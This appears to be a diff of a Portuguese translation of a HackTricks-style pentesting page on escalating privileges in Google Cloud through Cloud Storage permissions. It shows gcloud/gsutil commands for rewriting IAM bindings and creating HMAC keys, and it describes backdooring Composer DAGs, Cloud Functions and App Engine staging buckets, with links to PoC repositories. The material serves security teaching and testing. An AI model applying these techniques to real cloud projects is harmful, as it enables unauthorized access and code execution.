Ou revogue políticas com:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Storage
## Armazenamento
Informações básicas:
Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@ Informações básicas:
### `storage.objects.get`
Essa permissão permite que você **faça download de arquivos armazenados dentro do Cloud Storage**. Isso pode potencialmente permitir escalada de privilégios, porque em algumas ocasiões **informações sensíveis são salvas lá**. Além disso, alguns serviços do GCP armazenam suas informações em buckets:
Esta permissão permite que você **faça download de arquivos armazenados dentro do Cloud Storage**. Isso pode potencialmente permitir escalar privilégios porque, em algumas ocasiões, **informações sensíveis são salvas lá**. Além disso, alguns serviços do GCP armazenam suas informações em buckets:
- **GCP Composer**: Quando você cria um Composer Environment, o **código de todos os DAGs** será salvo dentro de um **bucket**. Essas tasks podem conter informações interessantes dentro do seu código.
- **GCR (Container Registry)**: a **imagem** dos containers é armazenada dentro de **buckets**, o que significa que se você conseguir ler os buckets você poderá baixar as imagens e **buscar por leaks e/ou código fonte**.
- **GCP Composer**: Quando você cria um Composer Environment o **código de todos os DAGs** será salvo dentro de um **bucket**. Essas tarefas podem conter informações interessantes dentro do seu código.
- **GCR (Container Registry)**: A **imagem** dos containers é armazenada dentro de **buckets**, o que significa que se você puder ler os buckets será capaz de baixar as imagens e **procurar por leaks e/ou código-fonte**.
### `storage.objects.setIamPolicy`
Isso pode te dar permissão para **abusar de qualquer um dos cenários anteriores desta seção**.
Essa permissão permite que você **abuse de qualquer um dos cenários anteriores desta seção**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
Para um exemplo de como modificar permissões com essa permissão, veja esta página:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
O recurso "interoperability" do Cloud Storage, projetado para **interações cross-cloud** como com AWS S3, envolve a **criação de HMAC keys para Service Accounts e usuários**. Um atacante pode explorar isso **gerando uma HMAC key para um Service Account com privilégios elevados**, assim **escalando privilégios dentro do Cloud Storage**. Enquanto HMAC keys associadas a usuários são recuperáveis apenas via console web, tanto as access quanto secret keys permanecem **perpetuamente acessíveis**, permitindo potencial armazenamento de acesso de backup. Por outro lado, HMAC keys vinculadas a Service Accounts são acessíveis via API, mas suas access e secret keys não são recuperáveis após a criação, adicionando uma camada de complexidade para acesso contínuo.
<details><summary>Create and use HMAC key for privilege escalation</summary>
A funcionalidade "interoperability" do Cloud Storage, projetada para **cross-cloud interactions** como com AWS S3, envolve a **criação de HMAC keys para Service Accounts e usuários**. Um atacante pode explorar isso **gerando um HMAC key para um Service Account com privilégios elevados**, assim **escalando privilégios no Cloud Storage**. Enquanto as HMAC keys associadas a usuários são recuperáveis apenas via o web console, tanto as access e secret keys permanecem **permanentemente acessíveis**, permitindo o possível armazenamento de backups de acesso. Por outro lado, as HMAC keys vinculadas a Service Accounts são acessíveis via API, mas suas access e secret keys não são recuperáveis após a criação, adicionando uma camada de complexidade para acesso contínuo.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,56 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Outro exploit script para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = permissões de escrita do Storage
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
Para **criar um novo objeto** dentro de um bucket você precisa de `storage.objects.create` e, de acordo com [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), você também precisa de `storage.objects.delete` para **modificar** um objeto existente.
Para **criar um novo objeto** dentro de um bucket você precisa de `storage.objects.create` e, segundo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), você também precisa de `storage.objects.delete` para **modificar** um objeto existente.
Uma exploração muito **comum** de buckets onde você pode escrever na cloud é quando o **bucket está servindo arquivos de um web server** — você pode ser capaz de **armazenar novo código** que será usado pela aplicação web.
Uma exploração muito **comum** de buckets em que você pode escrever na cloud é quando o **bucket está armazenando arquivos do servidor web**; você pode ser capaz de **armazenar novo código** que será usado pela aplicação web.
### Composer
**Composer** é o **Apache Airflow** gerenciado dentro do GCP. Ele tem várias características interessantes:
**Composer** é o **Apache Airflow** gerenciado dentro do GCP. Ele possui várias características interessantes:
- Roda dentro de um **GKE cluster**, então o **SA que o cluster usa é acessível** pelo código executado dentro do Composer
- Todos os componentes de um ambiente do composer (**code of DAGs**, plugins e data) são armazenados dentro de um GCP bucket. Se o atacante tiver permissões de leitura e escrita sobre ele, pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, submeter uma versão backdoorada** para que o ambiente do composer obtenha do storage a versão comprometida.
- Ele roda dentro de um **GKE cluster**, então o **SA que o cluster usa é acessível** pelo código executado dentro do Composer
- Todos os componentes de um ambiente Composer (**code of DAGs**, plugins e dados) são armazenados dentro de um bucket do GCP. Se o atacante tiver permissões de leitura e escrita sobre ele, ele pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, enviar uma versão com backdoor** de modo que o ambiente Composer irá obter do Storage a versão com backdoor.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- O código do Cloud Functions é armazenado no Storage e sempre que uma nova versão é criada o código é enviado para o bucket e então o novo container é buildado a partir desse código. Portanto, **sobrescrever o código antes da nova versão ser buildada permite fazer a cloud function executar código arbitrário**.
- O código do Cloud Functions é armazenado no Storage e sempre que uma nova versão é criada o código é enviado para o bucket e então o novo container é build a partir desse código. Portanto, **sobrescrever o código antes de a nova versão ser construída permite fazer com que a cloud function execute código arbitrário**.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
As versões do AppEngine geram alguns dados dentro de um bucket com o nome no formato: `staging.<project-id>.appspot.com`. Dentro desse bucket, é possível encontrar uma pasta chamada `ae` que conterá uma pasta por versão da app AppEngine e dentro dessas pastas será possível encontrar o arquivo `manifest.json`. Esse arquivo contém um json com todos os arquivos que devem ser usados para criar a versão específica. Além disso, é possível encontrar os **nomes reais dos arquivos, a URL deles dentro do GCP bucket (os arquivos dentro do bucket mudaram de nome para o seu sha1 hash) e o sha1 hash de cada arquivo.**
As versões do AppEngine geram alguns dados dentro de um bucket com o nome no formato: `staging.<project-id>.appspot.com`. Dentro desse bucket, é possível encontrar uma pasta chamada `ae` que conterá uma pasta por versão do app do AppEngine e dentro dessas pastas será possível encontrar o arquivo `manifest.json`. Este arquivo contém um json com todos os arquivos que devem ser usados para criar a versão específica. Além disso, é possível encontrar os **nomes reais dos arquivos, a URL para eles dentro do bucket do GCP (os arquivos dentro do bucket tiveram seus nomes alterados para o hash sha1) e o hash sha1 de cada arquivo.**
_Note que não é possível pré-takeover desse bucket porque usuários GCP não estão autorizados a gerar buckets usando o domínio appspot.com._
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para o SA associado à versão do App Engine monitorando o bucket e, toda vez que uma mudança for feita (nova versão), modificar a nova versão o mais rápido possível. Desse modo, o container criado a partir desse código executará o código backdoorado.
No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para o SA anexado à versão do App Engine monitorando o bucket e, sempre que uma mudança for realizada (nova versão), modificar a nova versão o mais rápido possível. Dessa forma, o container criado a partir desse código irá executar o código com backdoor.
O ataque mencionado pode ser realizado de várias maneiras, todas começam monitorando o bucket `staging.<project-id>.appspot.com`:
O ataque mencionado pode ser realizado de várias maneiras diferentes, todas começam monitorando o bucket `staging.<project-id>.appspot.com`:
- Faça upload do código completo da nova versão do AppEngine para um bucket diferente e disponível e prepare um arquivo **`manifest.json` com o novo nome do bucket e os sha1 hashes dos arquivos**. Então, quando uma nova versão for criada dentro do bucket, basta modificar o `manifest.json` e enviar o malicioso.
- Faça upload de uma versão modificada do `requirements.txt` que use dependências maliciosas e atualize o `manifest.json` com o novo filename, URL e hash.
- Faça upload de um **`main.py` ou `app.yaml` modificado que executará o código malicioso** e atualize o `manifest.json` com o novo filename, URL e hash.
- Faça upload do código completo da nova versão do AppEngine para um bucket diferente e disponível e prepare um **`manifest.json` file with the new bucket name and sha1 hashes of them**. Então, quando uma nova versão for criada dentro do bucket, você só precisa modificar o arquivo `manifest.json` e enviar o malicioso.
- Faça upload de uma versão modificada do `requirements.txt` que irá usar **dependências maliciosas** e atualize o arquivo `manifest.json` com o novo nome do arquivo, URL e o hash dele.
- Envie um **`main.py` ou `app.yaml` modificado que irá executar o código malicioso** e atualize o `manifest.json` com o novo nome do arquivo, URL e o hash dele.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** armazena as imagens dentro de buckets; se você puder **escrever nesses buckets** pode ser capaz de **mover lateralmente para onde essas buckets são executadas.**
- **Google Container Registry** armazena as imagens dentro de buckets; se você puder **escrever nesses buckets** você pode ser capaz de **mover-se lateralmente para os ambientes que executam essas imagens.**
- O bucket usado pelo GCR terá uma URL similar a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Os subdomínios de topo são especificados [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
> Este serviço está depreciado, portanto esse ataque não é mais útil. Além disso, Artifact Registry, o serviço que substitui este, não armazena as imagens em buckets.
## **References**
## **Referências**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)